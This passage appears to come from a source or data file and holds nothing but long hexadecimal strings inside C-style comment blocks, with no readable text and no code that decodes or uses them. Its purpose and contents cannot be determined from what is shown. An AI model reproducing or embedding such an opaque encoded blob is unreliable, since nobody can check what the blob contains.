80fc513543bbfc8c557acb5c1d8db44bcbad2780fd13a96beb1a6b8cea733a7ae6948325311344d2b9dd2e7d6065a188ac73fa03e1bc23fe2b2dfc28e569c690d1697fb257df7544c252cf707b45dcaf8b5efc9043796c71eb6f366fea7da05db3cdd029a6b5a8777a47732bf94a08a330870fdfffc004f8a2be5dd0d3ab5d6e5962de68f33575e6f2eefbc31330ba7d2b575f522d1c51eee56059191c63dddbd9fda5aaf3fd48c13004fd8ccc0b7ed8c768d7f9cf6d87db4a14a4aae331b5fc0b06e0aa0040b7f5db89f8e07370f19ba8a425a682e8ad797af165e7094a415fcd3724e929400dfce54f5a030fb7a95a193a4397aec650e19791e6261997310f39aed8aace0bd8144f86d395238298be605f576b4038835d6c943db594eaa847654e9d3c2e39db3fdae75a72f207220f79d2c1a2d2438197adcd695fe5b335e3c2d9b2f09978df1b468c8913303cbd4026ee29354e30fee46b9cc34eef33fbcf3c355afdd60d02da8ea324920ced9d59dea95ebb2d920ebada1e59b38e72a8aa3d0bb797aa2019b9c6851e03075126c6341c9caecb095b8bcfec3f3fcf42811f39cba7c9f93cf15a25365770e6a45e1aafa281726a5af8023b8bc8778bde34f3fec05d643fd746e7a558d95edede31ee0b9d23609662f05a8b5378f4eded48859df1f4421b6886b62fe34e69ebee6349acae3302b2e373ffe22759ee38c7*/
/*ae2c94d9eccdd41cabfad525652a3ad29243c05f268acd8da9a41ed0952fe983c4a3a74281756d2a6b812b679633638bf72ad4d0db4d7ac45a02ea886ee70fc9a053140a9bb68ce28c5d396a745150b9c537081fc91c944f71618da4749eff701ae38cf9a737244a9b8123c25e5e56a392db101067e2fa9779d2212dee74268fac9b4959dae334e044def153bc7c662dce84ba94c408acac28a3033adaf53e7aabd00e0e0dcd849c577e87b5549b174b8d5ada9ca155e56cf8aea664082705597ebe564f33ea04037113400769e45e8241267d10eb5b3d1e87a9a9fa949be64ea97b0f50712ed62a66560eba808c850999736a0bb10b172e0433835376cb3929790310c5e32595336bc7b9b076a8c439c7d23f8d6fffd813c6941c622e24bed4a4a22604ab639a2fd92e10caaee9acc39280c676890dbac2d5fae0a449dec6acf3c1621066a6d4ca90cf5e20fb9a7f2bc737bfa2c50419a02f47316dddb6766f55741ff5749cc0304bc432e556d4c6260c87efc259b681b4fd5d1b0d72f3f56c52fb8aaf54a96831528b2f8546a8b0a97e1820e2a1c514ead6e51379631b1167c98c8fac9204078f38303814bc0d7dc37e1620530c9b258f3ac36218b6d9e54127b82c6debb0cd61a1e6e73e35388be5c0b1198b3d422f04202de78feae4cda63de754994f92001e288774cf2ea115b3678e71376177fa8dc289812295b5500f165da5ec7b4d641e5835005d8efda50302b6a48d94f821d69fe97578f8e8b52a27706207fb604807dd12e155f3dc0e2544068c5220af88f5254e0d4fcb4f2a275d4a2c1bf3ecf59e4b82d77367dcb621d4b934143c2cc467b12e05af65d924c5c68e35c892e8b94bb98205fc285e8ac64951a7b8e4211fc34356d43f75dfd2f16387f3aba0e8158b17654d97b76b00934b1a3972fa5d4a0ba9cb8e09462fa43f9a7ba18a65da32fe3eebbccd30b97a94b7f2cb5da39727721931a0d6451972a34b3c8414674f774fead21051ad11023a8987ff6c91fec624e0b7964c96fa345c16fafc66b7a2ff8f1f47f880dc308bffadf9f4d3ad28e39d989110d474fa5beb5950c6447021741e3d5b2c89c5743133963e8c6e6d9e1fd00d4df9582cb63eaba5a8dea47281639a687115ab202ff88ba08650d242aefb9f73d445635029ebc1f4e15a4c164e3b5a6990f1fb250c45efdf61ae95459586d82e3eb66845cc5cbac13e14a7a6e0305866275b9c978ea23e4e0713fb54e2e007589aa18811e31b6cf3b711bcf99fc8e0da686d1bbe30da90621ae4666da35c796d6d00c729898ff8f3f946fd04bb706da37be2617d2eb35544017ecf1b6ff9c66808b5c1ff808fd8e91b4d75681423b0b32046e0a9c3700af68c8a5197869059ec71b3173b5cbe2ce7b7d9dd5ead188d74347e0deff5da7e1a26c2a44d055b62628a5c9fd9a902aac66e0abacd8d42203ded36ee408b1143a5c426119ffc594ea5c8db98f02f83d001e7db0b4afaadb47739e1afb526dd6a26fdf9f16138e6470e4aac0e6884242fbaf7ccfada6772a43c566f65e20a30d4d3a3a3036bdd94269d6fbbc0ca7c44e650b3c233e568d30be1c58f3132f8f10e7f27805001e4bb4817ebdde5075cd52b424a422a1f2196a16f0e31f305a2c6d4e953388fee334e474f46e49f08ed39b543dc7b1350d7aaae298668eff5a04630162329e50b341e9e181e63c4297493207ba0e0e0e735eec02298809f2222a50e5f9d576ef28ed5781030538be76c92e287d6d6075ebd30165ec7817aa8756e258705216437a746fc35ee52109ca42e1976a0b8a578a6706c0da8d78276a55137690da7c87fb0463479ddd379c0132220f0d3cb011a26e39a66faa9d4de875aa93ead992cadb8f54c1e87003227880a0514c418a9069f152b14f1949d295c23057ee2c2bd551b2d848842e2b6e529073a5e354b34db60a8aa65e3260e53ceeb726c200552ede7ade78ce83e420df0cf7c50b38e49117d9986b27a7aea21d7fd86cbd7cb3768ae9b0863ba54c2676b5daced6c7b99b24100925e2710ce093889a772f1ca85c271aed5684a322c13efb82d5d3f0e61f3ced335d1fcf56ea2d92bb11b12cbdeb60395c7a48a0adb5230d4f12354fc77f48e28a137e8d558c3e84213dfbffb4bbee28ff856a259cecfa6a086f301aa66673d103551a72de5002ae591e343b6889ed79b8ca8c60d0daccef9a7a5b3a8d176fec8ea397a0f235e6d15cfed5325ac1a047dbd7a4a27b4561ca72d33480979a272d1229a29d86b64fce124aa390d8b2afa1d4376bad54c3b991f089c463d681016af920facf9c40cf0c3dcd3b0e08ca24117ea0c296e3e6ed0fb46217e8164c2672f2365441c0f06e3585945f0b190c2a93c08220f51caadfadb348940c13e753ae6073842574278e99dc44aeeadfb4910966a81963e03f520bf3801c7de6c2323114811925c7fb2bdfd81828f4c5a3d50f37beab096d8f42020b8f7e7d2d254cda5fd17fe69e2df84462abd938e73f455e502d4e4f6685557c651fd60f3eaa5fdab88e588932cf43d19c9750bddc6bd05a95c0594c2ac4d893f921872ffd8d516f51bb3ad9776dc1015e75b7f981e8ce5a45aebc9217253e37971e36ffba25f1f24e3f359b3531abf12d371be7070034f1de11c9f07a180a6318de0b93c1b27e3be13e23be9f2691937dbb9489ce6d2a2990e69874f3b8f22ebf8b4d74c4e8c13ce55e5a82d139f002e676f684da8506c02bfdf7319e94abffbcceab9cd25dc3b1e7d295fa2bbf3b473738045ec63238465b98e1cdd58e136f3c0084e76d8b25d3104f05a61b4a9f2ca03*/
/*3d0c3db2611dbb16663dad7fdbc801264a8757ca082de8e436e8f702f21a1bc0f78b0828c5540c59afbdc572b6adebd0b929e63237aa4979e2d87cdabd73d006d71271bb2790d07f3fac3c76ad7102750626f642aea70aae008ddb36afbe6ab4e15d4c2d76e28ff8e403e577ba62352ff0f391e791dbbd2f1ce3eb251dc422af5f02333bb3b3a9565aff554750fd93b21d7492e6ede672656e0310ef41d60544e9b33db4d15ee3022c74060b4a992e1723b51c60b7332314ba673ee8eda7c87120c61f0ed534726e4578bb203f83c33bac9ba8fc6e91b807df57ac1e811688720d51b3502e198210b5237dee105d6a97635295d371e53710d9d9b77bfc1c6271ab9f526f81c3d45a019558bf193f136747df20989b336f410ea6e059c9c9d4f4285bacee3930cb8b8f4404c0a9e00bd25edddfcd1a395d29c95722217f59508abab5b4ae168cde0e79dec8ad2ccb5f544404e6ddb6fd3a2602f52b494637bc2308bd653f5d0198aea81cc6c7909cd7009b59c562e010d145780f4bc10450fc1c92a604b0f4a71d79be9f81abec967e35cee1974c1cec066e97747a11518191d19f5dbac4baa7f2003dec348b965af9859f6ef01a86a9f49780969c22dae15e97dddc901ae963edbe25000dae5b02999486ede531798517fc9c315c640a248758b042b18e10dcda44461913c3d2cf52075256ba52dc056a070ba2572a1a8520c05435687d614d77aa8a20a8662f34f8abe4eec07ce5aedee6eced6f76b5c5f9d152ab570fa96350adfc2217413c26b9811657b5ce89ae2a50e935cc542e725ebf8dcce902f61b04d24878dc01b54561f7a1aa0953fecb3983ea65bc97520089388b6ba81939eee08f86d1998b0ab5cdadae337df25db925cd59c1ba6a6675548e1342ef256cac57799b9b8ae1f38246d3f7af24b1ddbf0c6d86454d1d047f7c3081959c7aacbdae6df39a8f7fd8f51c60ba0ff96dde6b0e51c4aec2f40097b3b89694ef188ad2eef91693c37ba4e3f8c4f77636422bc8d8cc86d68df308bcdb534b57598edeb24c32e959a40dd7f098ea26d1661c4bfd2745f67a1f0da32e5b98234d84a6e454eed407926083a3418f58b681778e6ea5bce3245afd510b37052941ae6a1844de436f229c742f1e8a60078b0960db97d00d1bd441e3df41a6c4a847a2db0184d9e28860cee41bd4753287cd0161716ccff6acd99c9067479b49010a36ee8c7773af437745c11ebb4d7e95ff0652c3a4220b08f61aaf41f56aa328db6cd6b6538e8848360aa2fa69c060e7f1fbbadad199ed74a6d951c183bc3adb556e51c938e0c1f9892d7971bcfb5f1e37b6860affac254f1e330a2de0d7da61dd35d7adcaf4edf21ce1016c8e5200d695b33b6ca3a7d747eaca2b62d4508b0ca2f757d4bb59be27e140ba5929b1d89ceaf53cac29fd7007c3a90a46f2c2414a7fda76725a2e2c6308ebe8af096256aacd19fa347fa6247eae06fbc8332abe67a6d540921e945a097008c9c48165edebf8cf5ef6de99d04c124b525e8df6af0adc0476bb02d4dcf9c59966071b82ccf245d5773e6fb729fe24aab3b6b967a2182528240b0309b28376b376733383f218800eb6a50ee669d855b756d812d073f906254a2b5c932d8f8b92acd17305d236df46925b885fb33d1bfaa9483d2b8dbd0d617814f30359e1f7ca444f845fe37f027e477280231a81c71547a3e6f56c185aa5a084143c5207876ff748071bd8244bede3210bde4297d8d674ac8950ef2d6c6a00848db6369c8133e5e8e23cb5fa2ea00d0ac1cf54ce033f12414295e3a9846c6cd145a4dd7e7dc5b3a5a24082a868ae949b267c7ee7103456c230033e6af156723ee16c48929cefd59a11fa9751b3ff3f78fe9f679dc279d965eee6ff80f096bfc4624dde602706d35f90ce538b995a483b6b892142e425a240eed664d6c27bab9bc21ca994cd0bb69229c79f35b7d245a80f6bf14430139d48fa48bb816f68af9f23de6f4537bb044849ef404c218722c5a17aad6ef819a488698fa1718c9d5e78cf4e81af9bbe48efff21a42c10260ec9837a9195cff7dac89ff374526fb24e1eff6e14639c8a095b7f0be6e848a026144dcb4a67a39a4564c513a30c4d281c030097c98785173854a5748da5c8a7235d4e349e2315b2ea2f02ffafac114fa7c3173e63d280f6a483fd4c1828bc3d1d0120cfd49a482ecaad546b7337bfd021fb91457a44189194330c93fc49ad0f0d7b2e3081879178810425406b34d89d0adba83f7179c98012338cdb9d8c644847c65d15dc300edc26b421f08a7f2c07dca151c43859d94bb3ae7b9c2ccf44e594454e0a21a0d537f8181377d10bc0216d003e39805d3322700d751de6fccf29835dc90ce970a33c4dbc8a052356781f6fd1d39c9816d186b2fef623ca9954681d355fadc29670d1c776f2e30460f237094a709809f6fdff80033d36ee4e6da7de94d06515b8b5f4c469e8595a347aaad29c8337822cf7ed21a688b56e1e2e63f676e91b3b36b9177f04f4755a8b18dcc38f167382a584049bcd3fdd2ae5f45c34c213e4d36ca51d404e09bb252b532a35da36c20bab646112acb96373ad309947e7d28c82510f9da05d3c5c9f83878dfda6fa86a0a2d815b763615f6b661ca2922c70f9083388c265cc635e2ce00a0eb947b3df7532970c2246b42b859fea9e9272f16232b74035c2c7ae162ac88a1a509a81a4c21d46ad5a2b800cf6c49cdac850d695647b97d5dc2404c358cfd801dbc0495691057f91353932b8507791c66cb7129188eeae31bb83adb59b94f7eacc7e9392599eca5687c401433eab*/
/*f5d14e04db7c9b7ceadedb1a86711777fdcad26323594ac7d40f3c6d3070857c4a2832a58f16b8ed28ca4790892732b200f9d8eefa7866b042c1dd363d6034616303c76561846b627047a6a3730e673e1e3cd77b3e6e503e126f31d081904b59ac6656e0116c06833fa2d908d2d943ee4d971fb1e6769b61eec76370500fb8c791435dc59920e64485f3c56e2709d9c705e060fb2ff95869ecea729054f7905df6a82778fa754c6ea7e29f16d65b2b4a40e3ce8bc1ee20ffd82385a54782096e1f22176d8e6ee9df2e5f7fb511880d8d81107d77a0bb370a731736a99538f359100113aa264865843c319a6e9f61f374d2de5a88612823257f24d4b8aaa399e0ed6c35f0f5e985115106ae906f9d3d3810e73415d87007b8e3c53e93670792c80cc0f747a8749845bad1a3aa0d8d8688eccd3e64b447d7e39c7354726eee88e252eae38fc32a1a6e7ed9052e42b2717398c41a814b79f34fc80c2b20d5768444d43bf695f51a435f8235a92bed5441506be512ab9b06fe40585e38ded202603f733146696554366737de7bce66b5a15fdf02a2714ce822a2047a3fc4520990282d230eb5ab4e622b166d7e40dd34559b6e610dd8ad4659dd7c6d3aec2335593b4693432011d11a5c604dca567d99e4b0622b76b61a759d990de6d8110a51834f1c2bec4702203e489df782629a7d7e1ac4a08484a9e32774c0ab31f5725e6d643ff0193de2113c32b8ce5175f8d58afd42eaeb8bbd1d32b78f4b62413f8f4bb98492c6fdc27c533149b1a8a68275837cbd6fcd91121f7acd324df3ba79fe00da1af596f00bf4574d1d51f50b9976fcfe392268f1c18283660a55cd97fefd0925c948cea68eb7e2092dfad6c1a35037c7281e062083a4aa246e360a23df0f84785467332c1779026da5cf204924e458e7dd1e51cb1616e3c5084bc57770718d9679193791f5dbc910a1fb0466fe0d7668efc430621ab46ab23ce5e7775a9aa040e25168fcfb4634c6d758d4bff0aeb3104b2ec62f7be1ddea72febc6ee507365acffe2161933f683081fb1a20b30c52cbd732359b0c3201e473c0b53eebf2f0300c8ee0cafd39c610ccc2eb2817d3f1de39b7dbecc8f2eede0c3f29e5eba9c8758eae1c950bc875f6f7faac4509214a394a390f89038f672e224d75f418927e900452484aa3dc11b19d6ea88c3754f076df82605f001cc3f65a63d806a71e69a34976227806c60d5ef53a7d9c43cd66967c2a4ca46cbc704371afff9951e803fab5a76d58d3a0db09e2298fb29a36cbbca47be24c3eea56b74edf7e8f254d29ce55d81ad74412fd07bf05173852d5cc55e5619e1984f3941109fdf958645a06cd40ac1d7f1259dfb47f36e67586fe771b3c9dc0c649a23f5d317dae75d08afbb03cab46f16cf47addb6868d1c00c1fd27c7411991b4d651746227580f67f03ae9543e84d568dacacfc468e9288b5d87c7e53f73ed36deb863e8179234b8363a1e9c3c4173aaa0274ee91b14b80ab1a6756b37e959ff52b3e83b968f38f0faf7054740158bf04bb3583dd6f226b89a0b2e90b15e64e9c002e5ce5500b33fc323b2bfb3fb2ecfc3f9eac64be8160fe0ca97171107b80131ea3d497f0556cb831114c2b74f86f4aa722c43ef6e485b8163fc5e644198ea31510453bbb47916fc478ea97b3c02bf0cd1511f5dcd2404b9471e8e2b361a1e4cf311fef7f0efd490d284734045ee89b89bb6502db5f5013194501ef84245cac746913d50381a7225e8d7500fe13274ea08c56eb38f787066bdae68f2d59636c1c3e06dcc9029a23ff28b5de092e8cca129dfdb06db7de64b5f35694ee81371dbae1151ce09157e115d0c3003d94d3bc621bedf8fce08c7a21eeb5da070f019f237f512e5f37b98930009e32e8b9ef9ead0b3ecdb48d43abb26057e1af4441d06d73596083b40f982627c9b66449659694c9c9f6a0b0068fe3521acfe53a527d7823f067d0693e82cc35dcd7fe4daeca9218aaf152d5f8ba01ad20d28c6d8c599559a9f6658876f556325e24e96fb980991d25d27cd91ac046663d7d44087ee9f389967131015ccd2572b2710daf89fc3227f88b9b1f547a09167c2cf5deeecfb99dde2bf3323e3ff4437ba037fc3a8d5e9da081543b12a9c7d2940899e405279171fc30cc0b243052d4b40807f25e800fb43fc64495d15add2b52365ae1435aacc2d7767dbdf29b1d16561645b291320079b002c386c8d82c2d3024c75ba8a95781ee65430a22d62e4fd0d08702cc9b3ffd03bfa2a832648a8f6426a806b3407c0714f80ba42fc2219d01aeed2db1f26da2285aab5b97035c6e591c018d4dc359f87e09d9ebec14c87a38ba200d37051e27522684e59eb7023609ae5a504bc6cb8f78800e6b9d7033fcff6be4f222fb377d6fcb09b7a580928d11af473a5192074a340681e2df1bb0ddae6744e54b5567e8689b9ff1e8e0aa0aedc124c9863fb6deaeb1565a07a15220a576a0d84b2ba68e446beb748949182bd0e4f8d6590a67b2026528b02666082bfbe8465582848c7f07c15b47ebf4d4ad59c4a465c926c948ab0c8080e5b909d5f8a16701e679d0803a2c93036a6951894eeab6e9905d29c5471ea4aabeda2692a9e1013c62e28246f4150924ee781ea33c7db2c4fe67466e77a4970911a5ef88e60bb7572d96abb5c29324aaad4960d545368f120fa1871c6de859351e3ce5b0d76c931fe773d74fa0db9b2a17a681b921245e498d3f0fa57ab8f29fac0e76e1b1274f1a7b6062450af441ad7c467a468cb72ce7e8dcedabc4f199c09e541c393a1e855f666dbeaa92c5d48e1deebe63e*/
/*f6c47ff249d6a1a6a57a73c9126f38eac4767be668386714e1840fa2b4531dab37c4a7252da09f0ab7e04d4e5102e3aaf0dd6215518c7dd159bf445eed30f3cf93922d2775a8fc9e0d55de8d342b372e02f20ba7a19e8c84b48d3135c021a367824b970542a4794c9dfa02574def179791ad31b09869748472b5ce537c559b87019a7595c9b26f3e815c520a879a586f5e9f6fed46720c74fec0b88ffb81c46529333557f0f4baeccbb26a0dc179a07e5948d02d90c46c028b1e992ff20f80eb033f41761e5e6364c6d5cae30b0afce23632089c92b317fc393afbf121e58f9d89cd33bdb678e2b64ca41fd12e48783f4a73e64b12eacb5991a3824d94e64f56c0f5b9f975e3d650fb6cf71f3d8ce8b87e1ed362a298dff5947bb1589eb9869315778bd2c994851617b6815e70fbd2afd122da1ec642c225abc2305a1364b0e26d0e467b09fd50be6b62de792cc37e28ea65d590bb14dabc2fc0bd5da80574e55ec004f152a05bec5eae2c9d28986815184c510e6ea4bef87835a03bd7aa7a386af780d3f52031f668a7d3bcc870f063967586442ed2b45be69dcfacba42c0fb7553c37d1db69ef83cd4b5f914b9cba928279004c3088a0a26908d613a2060c5acfd60b7ca1e3d9e3b55cc926de38e3f777325e19e94366005cc36c934c3ef85f3db7343a72c80dc47ff06f5767b82bf42c202f3f85c5a6557cee3066eed729b27a2848762eb02f50be050cdb272764294bfb785ef95ecddc151c9111c99224390f3063058905500103340ac9f6a007952acdbf7460e6c665ed242cfea838eb2795d3df6b1afc3a43b9263e37c084b10e8a080a64f53e480fdba91e133ced7884cd479a1ba935f7dc664daa7c318c2f62cd6734692ebda7bb6182e0590801d2f71ed566fd6d334ffcbbef31e4458edec52faeeec96d8fae590ab6635686f79112d7d8ef44b2e66c8003e29085effb93474efc6c063005e73e6f158676efca0e6dc90121fa3e84deb1242fa93342316e1235081892cf95a6af27622d8188dcd924bdd25ca41dad2910e5da11a9dcfb71d5779e0cb3f0d44cf67cb0a8ff32ed80775d54f2a2bcabf69b37d281286dfa0c86ed96498750585e133ca4184c7fa33b901cbe97f6881a81efb6ad2b3d2ff9bd8d89a383e143296210da9573020b9c70920fcdf0a8fb48268328549ef855cf04a5de2c4785577b411d63eca98e98dc928777fccf3876891264dcc19d9734ba4a9ebedaf30e3904e1a959f413c4989d4f2c06e49e37b0e77a6b136f10b30cd829d40ee08461f5a0799c5724b8be2b9e0a20de7fec4090a55b5d8959c650957cfe38bdcc44bdbae1d719c39ab1d4457608dd03389cf6ba97e473f07972a24c2ff9c70710c9bd68561129212353e1b2033106f6505265774288206a732db2cd91f583c3dc2e59a5b44ea47712bcfd15ee9fcaacd17abb70af63b8e599c792bff3ba24d3e5ba458412974a8384c5ee533226aea43621daca7e8f165983e28d7d90196daf39e636b60f13fce43712b55a280559d914a94439ddd4b5965347b016125dfe9ff25c7c340c218feef5d673bcf44855794b1b7f81ff7a6052579beae653d6dfbd662965dd2ff8b6a402a8f018ba8f4dfa198edce58b53139b3d6821ed1d0247840bf05d747b759d240c98fff2b011c0abe4e842ab1b195874a5d64707320b57c18ab9609a38326fafdc39e44455c069cf85763b759edb4cf2c4cf2644848e29efa514514d2d3f4cdd1646c794dd27db0211584874317f2d6afe8ed31118240eb127d5ccd7eebd7c0dbf6d0efe46b910ea9420275dfc66b0269e7cf914b76c1e9721c961a3c5a8eb509c286a554a120a64ba87f1c1a4af421cf4b4936feb09fc1ba5bc390dd9fa9a317bbf21fa80885593cc99f4941e4b7aca64c7f62b5693e6bd48eb6215d6372458415017bf6530e79151cb36ebc432cace276c33848802314559b80140d6c8999f707b0e0b7795e04f26df5776d8e7acdf5874ba30afde8af582b225f22de192330ace272c6f0298abacf1112b2a1ac6a66edfb2ed14978b939f896ab24429a49272d4f3593e0ed1fc701e436ebcbe7debf0d644cbcdc391675dc5d8fc02e3737416b4701c345db70b6f16d51339b49cefdefb7d802b2dee86039af70e37d60cd4ab606576d0fcd8416b421f0e1237cf1fef17c14e9047f86184445ab2853a9348a3d1ade0497eba17147b9fe736eb8d12ee567d70b86ee39815820bba8c3eeedc9917aa04676c5bb5ec4d78af40419b9826ce3764c31cbebd2e14d2ecc4d0f6178e8f3cb9ef2cd46f990f9d0273f8303917d6dc176a0c28982cb944cd2fa0e9b6dc68b7941faafcc38e0e957a25a5544bc621ea760beb4065841f7723125e34864e9a2dcbfcaec15d7e1a3a9384bfd2a68c09bc446465df0a50f8418e9d78e28a7e45bea6b03ba42c0d7b45f0bc00ff63d8e86a37f46021d0ec80ebdb6fb7cd7bd9432ad204abefb216ea8022792d016c5db97cd05dafc95c1a4f3605fda9f4e55031722b5aa97eb0506a9efab6160e0364b2d412c37fb8917397492bd901871d693f6d8176f9cbf2ec5a7dd6735afd166a40712c24b412dbc0d9b0ede4ae058d74d9004665f489b0388802ddbf0c6f364b03f37e756465861308cd90d98a9ad2626e025ba855904df7b02a88bd967ec02e6a5d32fdd4236c5df58f5146da5a509b90ecb4bbca87d82162cb4aaba6916dbf54a14fd682e787d980083251fafcbbe2962afc27bc1b97047df49ada0943dbfb2a6498975de8afc758c584e1af5cc075c346381e854001e0cb9aa95b250ada3c24cac107515*/
/*1e556e0aac5ab9eb7b982376c47618244997f110ae46a6e20de226c75b11655c193053b5dfe06dc514497bfdf1af664f139cc446a4b548961c2d9c4515bae3d3405b2e9fd0ec3aa16ae901361a02e2dfa090b6ee5156c2a0115fd449ff84279e734924c409514065d70b9090633d846ad1b1bb7c51a3fbc59e908d9d0ef9b95dbca3c0f4cc69cfcc01d7db2a798317c8ae1759a5a5896a76cc14969f58761b50315174470ee7671e99b12470c12dec64e49f6995de2328460ce89c200419ad150b78b532f631eb8ba457e337500b1803b14c650a2ed1b4848d7714e9a39d519abca30a31ed420a59baea2b0c3822f67252b3408ef6c2ff690b226946f27e8d371bbb243c361b4c750f68de77a6e0455670dd2386b289641888c1650592868f35aef919f949a1a186740897df02421e23c94cac3998a67a20d3ec7bb780938074624761fc1ba9873d6e9ff27535fb0b46ac0284f8040910faae1a49d432d549934dd620ebb6e71ae429f0173d13ca3e15d09c75f5741d8a0958c3f4a64c375b5e08189c088837ae83c25b560f2de76207cd98a56b304917c043ffc5df1cd6f519440ce755676f8df377af817bf25c6587b4e4aeba44f5a76cbd2f514c47a80dc10d06a2bd9c8a0e4dda76e9ff303433b10caff1287c426e7146065113f6345431b5f76287754fd921d63481e6349587722413ee739cfd2c86d88ce629362a4ddb4a68d5dbd4e26ec09184774ba3a1abf902d89c20ab52546bc909827b8293629fd0d944b5ab3ad69fcc9ad4073b0fcd3fa284d08b453ca11090eeefb21575eaba50ae37383e67e039fc53dad33bcd0329d1f6709263f1686e607d08e732c712f18ab040abb413ddcb7cc16703248e8f13ce87a3730b6f6cec2d7445f42a6f5ac27063178b39a7183e24e5ed0f4747c50f2995f29a4db1fab49fd9d6addcaf74529d6db957fe256d970a59312e05de911b6ddb047475b58c098630fd0da6d399227ff9481ba72715f39a5089f7345512c79b8ef8e3477633469a7791fbdec8b1aed10d225ac0409429b701647ac24486ad6998c4c14f786d389908dd128a7c0cef39f94c275d7fe1c02dd0e5e7e9f0d8334c0c8e7aac0914b41da89b3c17cab99b1d427c22b3e23fa1984d8e9ac1278d4e13bca91733c6dd667da7469251efd6e9dbfcb2789c2c613643ce24c779b33d95945b781ed7221eac38d36a11578f2547cb03240517aa412e754b1449ca75c36e7b70eb67f8da621ecf730c80cbb1a309cf12096ecb64d69e941c144e3ecae2bfe6613d58170d0454e663ca2d036649fbdd5c29bb9c7f25759e4d7a2cac7a6fde4fc26c9b5cd19ef3a6e5a83547a67b2e662c42631a084fe0eb759dd3180c49c88a37cf453b2d42b86423b07fcfd3b4915bbbcf3b23ff4e300fd9413cf242b2132c6e81ffbfc10c341ba7692464df3b52f8e6aca51324b113234fd25c1c1390a0aad2fdcdfd938447a1de98c6bbd3ebb01eecab679e829c05d9806ff5b885c8d546d28cd4b2c1ff60fc82cc4ec5e51c2ad0dd4e6b5027adf8a7779ce440f79849db19a7d4d845f59d55dbf0868fe6a8489b965b3b91d50ef260cc6d6b9cf3f78443915989782dd6776a257e3403c64142c2b8f2ede042bab9b96e633ca0f0b639734e2068012434b64f4123bd873fd8a681c328fcb44d5aaa09770819967ec9299dac81de2c1461ef770dac87ca7f0549fd8202ac2789d2e05517fcae8239a9ddea4d2b9567a3db8ca2427565c9022486ea93099461137ee430ed9f00296238814e1c328bac16051bfe438ac5b027e7d994be7464c2bf708e4090bcd3736a879ba9ce977a04ad9e6796ba0caa02b0d9c1c007d59715be160e2961bdfc03d93d47723f1878ff661f4c9fa35f57dd969c8ff08e148256ad8cfcef5a06aa7e36ac8ae67cd6dd7806433f81f070ebe524c69f6ac395b0b35d74202c651b47776fd50635e24edd6e1f57db57da3a4bb6ee9aa1bdadcd36ef4ac5d09aaed6af5c4a62ec0d8a7332be7147d02954526dc5e26534962b4a0ac07450f8bb4f7e37b0aa99a6b94096d2baec49ffac12549092df1bfbd5dc4ff9c57349de1ce5403122394f0f00686986584a4e66a95974afce6cea7a41a3464fb82ecc8d4ffa0a03033427ff69e124478a8b36e5ed2e2ec89a82b6ec0a77767281314e9e096edb422069e7b85d671ece89fccabe268d5096f39616387226a2926a6610c15ed077f1db87d8a0d8b55e1a21b4bafb4b2c9687233753b029e4f8f7110fffa3bfaeb89ee8082f70327a7205b7d66ffcd413e4b9dfc912db7161256d7e04a5ac8fee2a5af1e1021a02ec76072deebb91147addc6d580237b621e891f3f0f36cceaf32c0d91dc4649250c29cefb7d84db697e92b3f396a05b8604ad726118fdea170a21fe516257bf7b3481123da6b30a03d79e55e3dd2431401c6dc021f6574b0e0627eb3a73f62025d1dd1aa2d4ff064659da34b5608ce640ff9f8b7f1bc018bb3cfe22e7e27a2275e8e400a61af347422747f83b616a79f28a7767ba782817115761c21a9b40ce6609be458c3a66c7b8489931add9d0f5c2ffba6d5f0088e3b840f7bb357c25194f87f880b482c02015c1bdbf015c756d0dac08f1a03155e623f33031e39dc6adcbbfbb3fcc2b880da156c47ee2278246b3742e68397d1d255f50b67eb91649a5ff4a83cee7c439a87caa541aee84c12834337742d1787961c08817987df4ab0781e6a76e84d24cb6514965c696d8385a676a4fcb71d3a65ddfed9eb1295ac44b7e9af075188c7fc07976a2a305a172026c2b9d66e6389a7b45756d6c819379eb*/
/*9f71bacac431b82e24ee9d63f14e46fe562df325794047eb8132f476d9d665bda622fecf98b06c882189be9ecc1970875bf3b23af19b7f2fa313037f7f96b6bf7a2d016e6d254004138352fdf07b697816151ca8b5ed8e9711f76645a8d7e013979b4fa33ad7c167c37af9ac0a8f767548eb7ee838fcaaa96146433bedc4fee54972db3c805477d4b43f951e37e948364463efeb356cd2312a8c2d03d57d718b4943d9bc8c245222fcd39bd4945c84f5399cbd47dc4eb60a1b806f3edff226dcf85d44c87fc201cb3e13ff86dd8dfa0a28ec6db86845c7e3129e0f26575b013637291175d7649c41bcfae16d170f85c49d1a00e927c54ac5b8cc21daa0e683c8c57c5afd6fe4bbbb40fc2c8e691f342ed74a3bf29c8d3157163a80406137a11208efc34f83625ba7d79fac574110e0623ab70d5687a6a83f5c0c369ca63019aae601082cdc19a43df9967b8272eae3b1fb9344b46cf36c07aeb540b04fb87b56370bc9c97ec026153b2c0da014eab8e828ef6e1ffbcb0e13e698aaf0d7845930250bdf6b414c357356f5c7ce234aa9cae581d9b4639638ba9c2f3c3b6c4d6278e54192166c4aa36f9e7a1a2eaf6027b1009fe6d31690886b8c9dc87297cc2d6124c6b121dce7c9e12443e313c7071c529b07c4d1034933f0f8bc482f5c2a2b7d2a1e0ab63c1d18b5af4c2f56cb75eae7a95490d41415a97c142bf0d04f3c5135c86f02cc4844f2236b24c54709ccc9cb16ee72293e71d8570d41a0deb8a491a030eb1b8dd55d6084c0c5905a3768b8bf784e774f3aee9e242ee615b530f1583c8c3a0eee8de3d55dc16f4b21d6ff16761d1a76da6ffcba023108a0a763118c4874881f1c674f09696ebc78e5d23c2d7e0f33bb3c5f83d5430f0300b44a72a9fa5cb38f061e84e97b1bb58b888986e2c555c8cc0c967d504e9404c0ea321488fdeebc2bcd09e6a533975f935596991f9c6127b6ba8832b63bc1e5e7b21bf770f84077cff2b1dc2cd047e87729c4f48c3ca16e1f229de4ab885752057948a7c7f3833903565987bf0ea93836cba20c372a00eac6e82b619193f750e60178b623235650d6f127de6325b19da14f3499a89477ecaa082c66d888eb1e8e2787bfda6f52c01b337ad3cb698cfafc2bef46c0143421429cc9c6b46cafb02be20b249cf5a8c43dd94fae42d4c8a74c396d5271fce0f0ad05b7a30fb2665dcfde13a619f4b913be7d3913a144f2aeaa63dc4d6659bcede45266532b160345db91cd44b150ec54b4c6715853bdbec5238352db30fcf9f561e813731a8c5a6c02d0e692f2bdc81d773228242f3f735f3f2566047a47d365ea2127396d5b3bd2d5f23c4fb3deb8fb054cbecf2e2b96859554cd271881047cc5aa73c95f811d30831a411ec8e8418d4e9ce85ae6e73aa6cbdbc56a5041b0d1cd97b40f9fbff19b9f741caa9a4d1428d838a513c50716d2770301e425e0f821ec9c06ad10227dd841409839df610a1eb